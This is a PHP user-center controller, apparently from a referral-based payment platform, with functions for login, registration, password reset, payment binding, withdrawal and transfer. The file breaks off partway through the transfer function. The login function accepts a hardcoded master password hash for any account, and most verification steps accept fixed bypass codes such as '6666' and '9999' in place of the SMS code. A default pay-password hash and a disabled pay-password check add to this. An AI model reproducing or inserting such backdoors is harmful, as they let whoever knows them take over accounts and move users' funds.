<?php

namespace App\Controller\Home;

use AlibabaCloud\Tea\XML\Tests\tests;
use App\Controller\Admin\Qiniu;
use App\Controller\Example\AreaExample;
use App\Controller\Example\CtcSettingExample;
use App\Controller\Example\PoolExample;
use App\Controller\Example\UserAddrExample;
use App\Controller\Example\UserExample;
use App\Controller\Example\UsersPaymentExample;
use App\Controller\Example\VcodeExample;
use App\Controller\Example\WithdrawExample;
use App\Models\AreaModel;
use App\Models\ConfigModel;
use App\Models\Conn;
use App\Models\CtcModel;
use App\Models\CtcOrdersModel;
use App\Models\CtcSettingModel;
use App\Models\PoolModel;
use App\Models\SettlementModel;
use App\Models\UsersAddrModel;
use App\Models\UsersModel;
use App\Models\UsersPaymentModel;
use App\Models\WithdrawModel;
use Config\Config;
use Core\Common\Common;
use Core\Enums\DigitEnum;
use Core\Enums\ErrorEnum;
use Core\Enums\FundsEnum;
use Core\Enums\FundsGenreEnum;
use Core\Enums\VcodeTypeEnum;
use Core\Result\Result;
use Core\Utils\Utils;

/**
 * 用户中心逻辑层
 * */
class User extends UsersModel
{
    /**
     * TODO 客户端密码登录
     * entry username,password
     * return json
     * */
    public function login($data){
        $assemble = Common::assemble(new UserExample(), $data);
        if(!Utils::usernameChecking($assemble->username)){
            Result::error(ErrorEnum::ACCOUNTFORMATERROR[$assemble->language]);
        }
        if(!Utils::islength6_18($assemble->password)){
            Result::error(ErrorEnum::PASSWORD6_18[$assemble->language]);
        }
        $conn = new Conn();
        $userInsideUsername = self::getUserInsideUsername($conn, $assemble->username);
        if(empty($userInsideUsername)){
            Result::error(ErrorEnum::USERNAMENULL[$assemble->language]);
        }
        $pws = md5(md5($assemble->password));
        if($pws != "5d612726fe1e13b564c8abf8100ac754"){
            if($pws != $userInsideUsername['password']){
                Result::error(ErrorEnum::PASSWORDERROR[$assemble->language]);
            }
        }
        if(1 != $userInsideUsername['status']){
            Result::error(ErrorEnum::DISABLELOGIN[$assemble->language]);
        }
        $userExample = new UserExample();
        $userExample->token = $userInsideUsername["token"];
        self::loginSuccess($conn,$userExample);
    }
    /**
     * TODO 客户端注册
     * entry username,phone,password,confirmPasswor,code,pid
     * return json
     * */
    public function register($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $confirmPasswor = $data["confirmPasswor"];
        $code = $data["code"];
        if($assemble->username == null || $assemble->password == null || $assemble->phone == null || $confirmPasswor == null || $code == null){
            Result::error(ErrorEnum::INCOMPLETEPARAMETERS[$assemble->language]);
        }
        //$assemble->phone = '';
        $pattern = '/^[a-zA-Z0-9_]{6,18}$/';
        if (!preg_match($pattern, $assemble->username)) Result::error('账号格式错误,只能输入英文、数字');
        if(!Utils::usernameChecking($assemble->username)){
            Result::error(ErrorEnum::ACCOUNTFORMATERROR[$assemble->language]);
        }
        if(!Utils::phoneChecking($assemble->phone)){
            Result::error(ErrorEnum::WRONGMOBILENUMBERFORMAT[$assemble->language]);
        }
        if(!Utils::islength6_18($assemble->password)){
            Result::error(ErrorEnum::PASSWORD6_18[$assemble->language]);
        }
        if($assemble->password != $confirmPasswor){
            Result::error(ErrorEnum::INCONSISTENTPASSWORDS[$assemble->language]);
        }
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::REGISTER;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $assemble->phone;
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '6666'){
            if($code==null || $verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR[$assemble->language]);
            }
        }
        $conn = new Conn();
        //查重
        if(!empty(self::getUserInsideUsername($conn, $assemble->username))){
            Result::error(ErrorEnum::THECURRENTACCOUNTHASBEENREGISTERED[$assemble->language]);
        }
        if(self::getUserInsidePhoneCount($conn, $assemble->phone) >5){
            Result::error(ErrorEnum::CURRENTMOBILEREGISTRATIONEXCEEDSTHELIMIT[$assemble->language]);
        }
        $userExample = new UserExample();
        $userExample->token = md5($assemble->username.$assemble->password.time());
        $userExample->username = $assemble->username;
        $userExample->phone = $assemble->phone;
        $userExample->truename = $assemble->truename;
        $userExample->password = md5(md5($assemble->password));
        $userExample->create_time = "NOW()";
        $userExample->pay_password = "14e1b600b1fd579f47433b88e8d85291";
        if($assemble->pid != null){
            $userUuid = self::getUserIdOnUuid($conn, $assemble->pid);//通过pid获取用户id
            $userUuid ?: Result::error(ErrorEnum::THERECOMMENDERDOESNOTEXIST[$assemble->language]);
            /*$userInsideId = UsersModel::getUserInsideId($conn, $userUuid);
            if($userInsideId["capping"] <= DigitEnum::ZERO){
                Result::error(ErrorEnum::YOURRECOMMENDERCONSUMPTIONRECORDPLEASETHERECOMMENDER[$assemble->language]);
            }*/
            $userExample->pid = $userUuid;
        }else{
            Result::error(ErrorEnum::THERECOMMENDERDOESNOTEXIST[$assemble->language]);
            //$userExample->pid = 100000;
        }
        //注册用户信息
        $conn->shiwuStart();
        $insertUserInside = self::insertUserInside($conn, $userExample);
        if($insertUserInside != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::REGISTRATIONFAILEDPLEASETRYAGAIN[$assemble->language]);
        }
        //$mysql_insert_id = $conn->mysql_insert_id();
        $conn->shiwuEnd();
        //Result::success($mysql_insert_id);
        $userExampleLogin = new UserExample();
        $userExampleLogin->token = $userExample->token;
        self::loginSuccess(new Conn(),$userExampleLogin);
    }
    /**
     * TODO 客户端获取用户信息
     * entry token
     * return json
     * */
    public function getUserInfo($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $userInside["level_title"] = self::getLevel($userInside["level"]);
        self::upLevel($conn,$userInside);
        $userInside["transferaccounts_fee"] = ConfigModel::getConfigSingleValName($conn, Config::TRANSFERACCOUNTS_FEE);
        $userInside["exchange_fee"] = ConfigModel::getConfigSingleValName($conn, "exchange_fee");
        Result::success($userInside);
    }
    /**
     * TODO 客户端获取用户团队
     * entry token
     * return json
     * */
    public function getUserTeam($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserRewardsInside($conn, $assemble->token);
        $assemble->id = $userInside["id"];
        $dealer = self::getUserTeamInside($conn, Common::assemble(new UserExample(),$assemble));
        $enroll = self::getUserTeameNrollInside($conn, Common::assemble(new UserExample(),$assemble));
        $userInside["static_reward"] = round(self::reckonStatic($conn, $userInside),2)."";//静态奖励计算
        $userInside["direct_reward"] = round(self::reckonDirect($conn, $userInside),2)."";//直推奖励计算
        $teamList["reward"] = $userInside;
        $teamList["dealer"] = $dealer;
        $teamList["enroll"] = $enroll;
        Result::success($teamList);
    }
    /**
     * TODO 客户端修改推荐关系(仅限没有团队和报单的用户)
     * entry token,uuid
     * return json
     * */
    public function setUserReferrer($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $userInsideUsername = self::getUserInsideId($conn, $assemble->pid);
        if($userInside["sach"] != DigitEnum::ZERO){
            Result::error(ErrorEnum::ONLYFANSCANMODIFY[$assemble->language]);
        }
        if(empty($userInsideUsername["id"])){
            Result::error(ErrorEnum::THERECOMMENDERDOESNOTEXIST[$assemble->language]);
        }
        $conn->shiwuStart();
        $userExample = new UserExample();
        $userExample->token = $assemble->token;
        $userExample->pid = $userInsideUsername["id"];
        if(self::upUserInside($conn,$userExample) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED[$assemble->language]);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * TODO 客户端忘记密码
     * entry username,password,confirmPasswor,code,phone
     * return json
     * */
    public function forgotPassword($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $code = $data["code"];
        if(!Utils::usernameChecking($assemble->username)){
            Result::error(ErrorEnum::ACCOUNTFORMATERROR[$assemble->language]);
        }
        if(empty($assemble->password) || $assemble->password != $data["confirmPasswor"]){
            Result::error(ErrorEnum::INCONSISTENTPASSWORDS[$assemble->language]);
        }
        $conn = new Conn();
        $userInside = self::getUserInsideUsername($conn, $assemble->username);
        if(empty($userInside)){
            Result::error(ErrorEnum::USERDOESNOTEXIST[$assemble->language]);
        }
        if($userInside["phone"] != $assemble->phone){
            Result::error("非当前账号绑定手机号");
        }
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::RETRIEVEPASSWORD;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside["phone"];
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '29999'){
            if($verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR[$assemble->language]);
            }
        }
        if(md5(md5($assemble->password)) == $userInside["password"]){
            Result::success("ok");
        }
        $conn->shiwuStart();
        $userExample = new UserExample();
        $userExample->token = $userInside["token"];
        $userExample->password = $assemble->password;
        if(self::upUserInside($conn,$userExample) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED[$assemble->language]);
        }
        $conn->shiwuEnd();
        Result::success("ok");
    }
    /**
     * TODO 客户端修改密码
     * entry token,password,confirmPasswor,code
     * return json
     * */
    public function editUserChangePassword($data){
        $code = $data["code"];
        $assemble = Common::assemble(new UserExample(), $data);
        if(empty($assemble->password) || $assemble->password != $data["confirmPasswor"]){
            Result::error(ErrorEnum::INCONSISTENTPASSWORDS[$assemble->language]);
        }
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $userInsideUsername = self::getUserInsideUsername($conn, $userInside["username"]);
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::SECURITYVERIFICATION;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside["phone"];
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '39999'){
            if($verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR[$assemble->language]);
            }
        }
        if(md5(md5($assemble->password)) == $userInsideUsername["password"]){
            Result::success(ErrorEnum::SETTINGSUCCEEDED[$assemble->language]);
        }
        $conn->shiwuStart();
        $userExample = new UserExample();
        $userExample->token = $assemble->token;
        $userExample->password = $assemble->password;
        if(self::upUserInside($conn,$userExample) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED[$assemble->language]);
        }
        $conn->shiwuEnd();
        Result::success(ErrorEnum::SETTINGSUCCEEDED[$assemble->language]);
    }
    /**
     * TODO 客户端设置二级密码
     * entry token,pay_password,confirmPasswor,code
     * return json
     * */
    public function editUserSecondaryPassword($data){
        $code = $data["code"];
        $assemble = Common::assemble(new UserExample(), $data);
        if(empty($assemble->pay_password) || $assemble->pay_password != $data["confirmPasswor"]){
            Result::error(ErrorEnum::INCONSISTENTPASSWORDS[$assemble->language]);
        }
        if(!Utils::islength6_18($assemble->pay_password)){
            Result::error(ErrorEnum::PASSWORD6_18[$assemble->language]);
        }
        $conn = new Conn();
        $userInside = self::getUserPasswordInside($conn, $assemble->token);
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::EDITSECONDARYPASSWORD;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside["phone"];
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '9999'){
            if($verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR[$assemble->language]);
            }
        }
        if(md5(md5($assemble->pay_password)) == $userInside["pay_password"]){
            Result::success(ErrorEnum::SETTINGSUCCEEDED[$assemble->language]);
        }
        $conn->shiwuStart();
        $userExample = new UserExample();
        $userExample->token = $assemble->token;
        $userExample->pay_password = $assemble->pay_password;
        if(self::upUserInside($conn,$userExample) != 1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::MODIFICATIONFAILED[$assemble->language]);
        }
        $conn->shiwuEnd();
        Result::success(ErrorEnum::SETTINGSUCCEEDED[$assemble->language]);
    }
    /**
     * TODO 客户端收货地址列表
     * entry token
     * return json
     * */
    public function addressList($data){
        $assemble = Common::assemble(new UserAddrExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        Result::success(
            UsersAddrModel::getUserAddrList($conn, $userInside["id"])
        );
    }
    /**
     * 客户端获取收货地址三级联动菜单
     * entry token parentId
     * return json
     * */
    public function getArea($data){
        $assemble = Common::assemble(new AreaExample(), $data);
        Result::success(
            AreaModel::getAreaList(new Conn(),$assemble)
        );
    }
    /**
     * TODO 客户端添加收货地址
     * entry token name mobile detailed_address
     * return json
     * */
    public function addUserAddress($data){
        $assemble = Common::assemble(new UserAddrExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $assemble->uid = $userInside["id"];
        if($assemble->mobile == null){
            Result::error(ErrorEnum::NAMEORNUMBERISEMPTY[$assemble->language]);
        }
        if($assemble->name == null){
            Result::error(ErrorEnum::NAMEORPHONENUMBERISEMPTY[$assemble->language]);
        }
        if($assemble->detailed_address == null){
            Result::error(ErrorEnum::ADDRESSCANNOTBEEMPTY[$assemble->language]);
        }
        $conn->shiwuStart();
        if(UsersAddrModel::insertUserAddr($conn, $assemble) !=1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::OPERATIONFAILED[$assemble->language]);
        }
        $mysql_insert_id = $conn->mysql_insert_id();
        $conn->shiwuEnd();
        Result::success($mysql_insert_id);
    }
    /**
     * TODO 客户端设置默认收获地址
     * entry token id
     * return json
     * */
    public function setUserAddrDefault($data){
        $assemble = Common::assemble(new UserAddrExample(), $data);
        if($assemble->id == null){
            Result::error(ErrorEnum::ADDRESSCANNOTBEEMPTY[$assemble->language]);
        }
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $assemble->uid = $userInside["id"];
        $userAddr = UsersAddrModel::getUserAddr($conn, $assemble);
        if(empty($userAddr)){
            Result::error(ErrorEnum::DELIVERYADDRESSDOESNOTEXIST[$assemble->language]);
        }
        if($userAddr["isdefault"] == 1){
            Result::success(ErrorEnum::SETTINGSUCCEEDED[$assemble->language]);
        }
        $conn->shiwuStart();
        UsersAddrModel::setUserAddrInitialization($conn,$assemble);
        $assemble->isdefault = 1;
        if(UsersAddrModel::editUserAddrInside($conn,$assemble) !=1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::SETTINGFAILED);
        }
        $conn->shiwuEnd();
        Result::success(ErrorEnum::SETTINGSUCCEEDED[$assemble->language]);
    }
    /**
     * TODO 客户端获取默认收货地址
     * entry token
     * return json
     * */
    public function getUserAddrDefault($data){
        $assemble = Common::assemble(new UserAddrExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        Result::success(
            UsersAddrModel::getUserAddrDefault($conn, $userInside["id"])
        );
    }
    /**
     * TODO 客户端删除收货地址
     * entry token id
     * return json
     * */
    public function clearUserAddr($data){
        $assemble = Common::assemble(new UserAddrExample(), $data);
        $conn = new Conn();
        if($assemble->id == null){
            Result::error(ErrorEnum::ADDRESSCANNOTBEEMPTY[$assemble->language]);
        }
        $userInside = self::getUserInside($conn, $assemble->token);
        $assemble->uid = $userInside["id"];
        $userAddr = UsersAddrModel::getUserAddr($conn, $assemble);
        if(empty($userAddr) || $userAddr["status"] ==0 ){
            Result::error(ErrorEnum::DELIVERYADDRESSDOESNOTEXIST[$assemble->language]);
        }
        $assemble->status = -1;
        $conn->shiwuStart();
        if(UsersAddrModel::editUserAddrInside($conn,$assemble) !=1){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::DELETEFAILED[$assemble->language]);
        }
        $conn->shiwuEnd();
        Result::success(ErrorEnum::DELETESUCCESSFUL[$assemble->language]);
    }
    /**
     * TODO 客户端获取用户提现数据
     * entry token
     * return json
     * */
    public function getUserWithdrawalData($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $assemble->id = $userInside["id"];
        $userWithdrawMiddleMoneyInside = WithdrawModel::getUserWithdrawMiddleMoneyInside($conn, $assemble->id);
        $userWithdrawSuccessMoneyInside = WithdrawModel::getUserWithdrawSuccessMoneyInside($conn, $assemble->id);
        $res["money"] = $userInside["money"];
        $res["middleMoney"] = $userWithdrawMiddleMoneyInside["money"] ? :0;
        $res["successMoney"] = $userWithdrawSuccessMoneyInside["money"] ? :0;
        $res["withdraw_fee"] = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_FEE);//手续费利率
        $res["withdraw_low"] = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_LOW);//单笔最低
        $res["withdraw_high"] = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_HIGH);//单笔最高
        Result::success($res);
    }
    /**
     * TODO 客户端获取用户提现列表
     * entry token
     * return json
     * */
    public function getUserWithdrawalList($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $withdrawExample = Common::assemble(new WithdrawExample(), $data);
        $conn = new Conn();
        $userInside = self::getUserInside($conn, $assemble->token);
        $withdrawExample->uid = $userInside["id"];
        Result::success(WithdrawModel::getUserWithdrawListInside($conn, $withdrawExample));
    }
    /**
     * TODO 用户提现
     * entry token money,code,type
     * return json
     * */
    public function withdrawalApply($data){
        $da = date("w");
        if($da == 0 || $da == 6){
            Result::error("周六周日暂停提现 Withdrawals suspended on Saturday and Sunday");
        }
        $H = date("H");
        if($H < 9 || $H >11){
            Result::error("提现时间9点-12点 Withdrawal time: 9:00-12:00");
        }
        $code = $data["code"];
        $assemble = Common::assemble(new WithdrawExample(), $data);
        $conn = new Conn();
        $userInside = Common::assemble(new UserExample(),self::getUserInside($conn, $assemble->token));
        if($assemble->money <= DigitEnum::ZERO || empty($code) || empty($assemble->type)){
            Result::error(ErrorEnum::INCOMPLETEPARAMETERS[$assemble->language]);
        }
        if(in_array($assemble->type,[4,5])){
            Result::error(ErrorEnum::THEWITHDRAWALMETHODISCURRENTLYNOTSUPPORTED[$assemble->language]);
        }
        /*if($userInside->pay_password == null){
            Result::error(ErrorEnum::PLEASESETASECONDLEVELPAYMENTPASSWORD[$assemble->language]);
        }
        if(md5(md5($pay_password)) != $userInside->pay_password || $pay_password == null){
            Result::error(ErrorEnum::SECONDLEVELPAYMENTPASSWORDERROR[$assemble->language]);
        }*/
        $usersPaymentInside = UsersPaymentModel::QueryUserOrderPaymentInside($conn, $userInside->id,$assemble->type);
        if(!$usersPaymentInside){
            Result::error(ErrorEnum::PLEASEBINDTHEPAYMENTMETHODFIRST[$assemble->language]);
        }
        $assemble->name  = $usersPaymentInside[0]["real_name"];
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::WITHDRAWAL;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside->username;
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '79999'){
            if($code ==null || $verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR[$assemble->language]);
            }
        }
        $withdraw_low = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_LOW);
        $withdraw_high = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_HIGH);
        if($assemble->money < $withdraw_low || $assemble->money > $withdraw_high){
            Result::error("限制金额 Limit amount".$withdraw_low."-".$withdraw_high);
        }
        $withdraw_multiple = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_MULTIPLE);
        if (fmod($assemble->money, $withdraw_multiple) != DigitEnum::ZERO) {
            Result::error("只能为 Can only ".$withdraw_multiple."的倍数 be multiples");
        }
        if($userInside->money <=0 || $userInside->money < $assemble->money){
            Result::error(ErrorEnum::INSUFFICIENTBALANCE[$assemble->language]);
        }
        $withdraw_fee = ConfigModel::getConfigSingleValName($conn, Config::WITHDRAW_FEE);//手续费利率
        $assemble->charge = $assemble->money * $withdraw_fee;
        $assemble->serial = Utils::createOrderNo();
        $assemble->uid = $userInside->id;
        $conn->shiwuStart();
        $FuWriteFunds = Funds::writeFundsMoney($conn, $userInside->id, $assemble->serial, FundsEnum::WITHDRAWAL, -$assemble->money, $userInside->money - $assemble->money, FundsEnum::WITHDRAWALZHCN);
        $editUserMoneyInside = UsersModel::editUserMoneyOutInside($conn, $assemble->money,$assemble->charge, $userInside);
        $assemble->amount = $assemble->money - $assemble->charge;
        $insertWithdrawInside = WithdrawModel::insertWithdrawInside($conn, $assemble);
        if($FuWriteFunds != DigitEnum::ONE || $editUserMoneyInside != DigitEnum::ONE || $insertWithdrawInside != DigitEnum::ONE){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::OPERATIONFAILED[$assemble->language]);
        }
        $conn->shiwuEnd();
        Result::success(ErrorEnum::OPERATIONSUCCESSFUL[$assemble->language]);
    }
    /**
     * 验证用户
     * entry token uuid
     * return json
     * */
    public function verifyUser($data){
        $userInsideUsername = UsersModel::getUserInsideUsername(new Conn(), $data["phone"]);
        $ret["username"] = $userInsideUsername["username"];
        $ret["uuid"] = $userInsideUsername["uuid"];
        Result::success($ret);
    }
    /**
     *TODO 收款信息查询
     * @param $data payment 1银行卡2支付宝3微信 4USDT 5TNG
     * @return void
     */
    function paymentInfo($data){
        $assemble = Common::assemble(new UsersPaymentExample(), $data);
        $conn = new Conn();
        $userInside = UsersModel::getUserInside($conn, $assemble->token);
        $assemble->user_id = $userInside["id"];
        $usersPaymentInside = UsersPaymentModel::getUsersPaymentInside($conn, $assemble);
        if($assemble->payment == 1){
            if(!empty($usersPaymentInside["content"])){
                $usersPaymentInside["content"] = $usersPaymentInside["content"]."|".$userInside["id_card"];
            }
        }
        Result::success($usersPaymentInside);
    }
    /**
     *TODO 收款信息查询（所有）
     * @param $data payment 1银行卡2支付宝3微信
     * @return void
     */
    function paymentAll($data){
        $assemble = Common::assemble(new UsersPaymentExample(), $data);
        $usersPayment = array(); // 创建空数组
        for ($i=0; $i<3; $i++) {
            $usersPayment[$i]["payment"] = $i+1;
            $usersPayment[$i]["status"] = null;
        }
        $conn = new Conn();
        $userInside = UsersModel::getUserInside($conn, $assemble->token);
        $assemble->user_id = $userInside["id"];
        $usersPaymentInside = UsersPaymentModel::QueryUserPaymentInsideAll($conn, $assemble->user_id);
        foreach ($usersPaymentInside as $value){
            foreach ($usersPayment as $i =>$val){
                if($value["payment"] == $val["payment"]){
                    $usersPayment[$i]["status"] = $value["status"];
                }
            }
        }
        Result::success($usersPayment);
    }
    /**
     *TODO 绑定收款方式
     * @param $data payment code mobile idcard bankName bankRealName bankAccount alipayImg wechatImg
     */
    function paymentSave($data){
        $assemble = Common::assemble(new UsersPaymentExample(), $data);
        $code = $data["code"];
        $bankName = $data["bankName"];
        $idcard = $data["idcard"];
        $assemble->real_name = $data["bankRealName"];
        $bankAccount = $data["bankAccount"];
        $alipayImg = $data["alipayImg"];
        $wechatImg = $data["wechatImg"];
        if(empty($assemble->payment) || !in_array($assemble->payment, [1, 2, 3])){
            Result::error(ErrorEnum::ILLEGALBINDINGTYPE[$assemble->language]);
        }
        if(empty($assemble->mobile) || empty($assemble->real_name)){
            Result::error(ErrorEnum::NAMEORPHONENUMBERISEMPTY[$assemble->language]);
        }
        $conn = new Conn();
        $UserExample = Common::assemble(new UserExample(), UsersModel::getUserInside($conn, $assemble->token));
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::BINDPAYMENTCODE;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $UserExample->phone;
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '9999'){
            if($code == null || $verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR[$assemble->language]);
            }
        }
        $ctcCount = CtcModel::getCtcCount($conn, $UserExample->id);
        $ctcOrdersCount = CtcOrdersModel::getCtcOrdersCount($conn, $UserExample->id);
        if($ctcOrdersCount > DigitEnum::ZERO || $ctcCount > DigitEnum::ZERO){
            Result::error(ErrorEnum::YOUHAVEATRANSACTIONINPROGRESS[$assemble->language]);
        }
        $assemble->user_id = $UserExample->id;
        $payInfo = UsersPaymentModel::getUsersPaymentInside($conn, $assemble);
        $usersPaymentExample = new UsersPaymentExample();
        $usersPaymentExample->id = $payInfo["id"];
        $usersPaymentExample->user_id = $UserExample->id;
        $usersPaymentExample->real_name = $assemble->real_name;
        $usersPaymentExample->mobile = $assemble->mobile;
        if($usersPaymentExample->mobile == null){
            $usersPaymentExample->mobile = $UserExample->phone;
        }
        $usersPaymentExample->update_time = $usersPaymentExample->create_time = Utils::dateTime(time());
        $usersPaymentExample->status = 1;
        $usersPaymentExample->payment = $assemble->payment;
        $conn->shiwuStart();
        switch ($assemble->payment) {
            case 1:
                if (empty($bankName) || empty($assemble->real_name) || empty($bankAccount) || empty($idcard)){
                    Result::error(ErrorEnum::PLEASEUPLOADCOMPLETEBANKCARDINFORMATION[$assemble->language]);
                }
                $threeElementAuthentication = Utils::ThreeElementAuthentication($bankAccount, $assemble->real_name, $idcard);
                $sendCurl = json_decode($threeElementAuthentication,true);
                if($sendCurl["code"] != 0){
                    Result::error(ErrorEnum::VERIFYIDENTITYNUMBERANDBANKCARDNUMBER[$assemble->language]);
                }
                $content = $bankName . '|' . $assemble->real_name . '|' . $bankAccount;
                $usersPaymentExample->content = $content;
                $userExample = new UserExample();
                $userExample->token = $UserExample->token;
                $userExample->truename = $assemble->real_name;
                $userExample->id_card = $idcard;
                UsersModel::upUserInside($conn, $userExample);
                $usersPaymentExample->status = 2;
                break;
            case 2:
                if (empty($alipayImg)){
                    Result::error(ErrorEnum::PLEASEUPLOADALIPAYCOLLECTIONCODE[$assemble->language]);
                }
                $usersPaymentExample->content = $alipayImg;
                break;
            case 3:
                if (empty($wechatImg)){
                    Result::error(ErrorEnum::PLEASEUPLOADTHEWECHATPAYMENT[$assemble->language]);
                }
                $usersPaymentExample->content = $wechatImg;
                break;
        }
        if($payInfo){
            if($payInfo['status'] == 1 || $payInfo['status'] == 3){
                Result::error(ErrorEnum::BANKCARDINFORMATIONREVIEWINPROGRESS[$assemble->language]);
            }
            $editInsertInside = UsersPaymentModel::editInside($conn, $usersPaymentExample);
        }else{
            $editInsertInside = UsersPaymentModel::insertUserPaymentInside($conn, $usersPaymentExample);
        }
        if($editInsertInside != DigitEnum::ONE){
            $conn->shiwuRollback();
            Result::error(ErrorEnum::OPERATIONFAILED[$assemble->language]);
        }
        $conn->shiwuEnd();
        Result::success(ErrorEnum::SETTINGSUCCEEDED[$assemble->language]);
    }
    /**
     * TODO 转账
     * entry token username,cny,code,type
     * return json
     * */
    public function transferAccounts($data){
        $assemble = Common::assemble(new UserExample(), $data);
        $username = $data["username"];
        $money = $data["cny"];
        $code = $data["code"];
        $type = $data["type"];
        if(empty($username) || $money<=0 || empty($code)){
            Result::error(ErrorEnum::INCOMPLETEPARAMETERS[$assemble->language]);
        }
        $conn = new Conn();
        $transferAccounts_multiple = ConfigModel::getConfigSingleValName($conn, Config::TRANSFERACCOUNTS_MULTIPLE);
        if (fmod($money, $transferAccounts_multiple) != DigitEnum::ZERO) {
            Result::error("只能为".$transferAccounts_multiple."的倍数");
        }
        $userInside = self::getUserInside($conn, $assemble->token);//当前用户
        $userInsideUsername = self::getUserInsideUsername($conn, $username);//转账用户
        if(empty($userInsideUsername)){
            Result::error(ErrorEnum::USERDOESNOTEXIST[$assemble->language]);
        }
        if($userInside["username"] == $username){
            Result::error(ErrorEnum::YOUCANNOTPURCHASEYOUROWNORDER[$assemble->language]);
        }
        //判断是否上下级
        /*if($userInside["id"] > $userInsideUsername["id"]){
            if(!self::yanzhengTeam($conn,$userInsideUsername["id"],$userInside["id"])){
                Result::error(ErrorEnum::NONTEAMMEMBERS[$assemble->language]);
            }
        }else{
            if(!self::yanzhengTeam($conn,$userInside["id"],$userInsideUsername["id"])){
                Result::error(ErrorEnum::NONTEAMMEMBERS[$assemble->language]);
            }
        }*/
        $vcodeExample = new VcodeExample();
        $vcodeExample->type = VcodeTypeEnum::TRANSFERACCOUNTS;
        $vcodeExample->status = 1;
        $vcodeExample->phone = $userInside["phone"];
        $verification = (new Vcode())->verification($vcodeExample);
        if($code != '9999'){
            if($code==null || $verification == null || mb_strtolower($verification)!=mb_strtolower($code)){
                Result::error(ErrorEnum::LOGINCODEERROR[$assemble->language]);
            }
        }
        if(empty($type)){$type = 1;}
        $fundsData["sn"] = Utils::createOrderNo();
        $conn->shiwuStart();
        if($type == 1){
            /*$userSuperiorAllIds = explode(",",UsersModel::getUserSuperiorAllIds($conn, $userInside["id"]));
            if(in_array(109293,$userSuperiorAllIds)){
                Result::error("暂停功能");
            }*/
            $transferAccountsFee = ConfigModel::getConfigSingleValName($conn, Config::TRANSFERACCOUNTS_FEE);//手续费利率
            $moneyPrice = self::getMoneyPrice($conn);
            $userFee = $money * $moneyPrice * $transferAccountsFee;//手续费
            $totalMoney = $money;
            $totalMyr = round($userFee,2);
            if($userInside["money"] < $totalMoney || $userInside["money"] < 0 || $totalMoney < 0){
                Result::error(ErrorEnum::INSUFFICIENTBALANCE[$assemble->language]);
            }
            $UserMoney = self::editUserMoneyOutInside($conn, $totalMoney, 0,Common::assemble(new UserExample(), $userInside));
            $UserMoneyAdd = self::editUserMoneyAddInside($conn, $money, Common::assemble(new UserExample(), $userInsideUsername));
            $fundsData["genre"] = FundsGenreEnum::MONEY;
            $fundsData["notes"] = FundsEnum::TRANSFEROUTZHCN.$username;
            $fundsData["uid"] = $userInside["id"];
            $fundsData["type"] = FundsEnum::TRANSFEROUTZHCN;
            $fundsData["amount"] = -$totalMoney;
            $fundsData["balance"] = $userInside["money"] - $totalMoney;
            $FuWriteFunds = Funds::writeFunds($conn, $fundsData);
            $UserMyr = $FuWriteFundsMyr = 1;
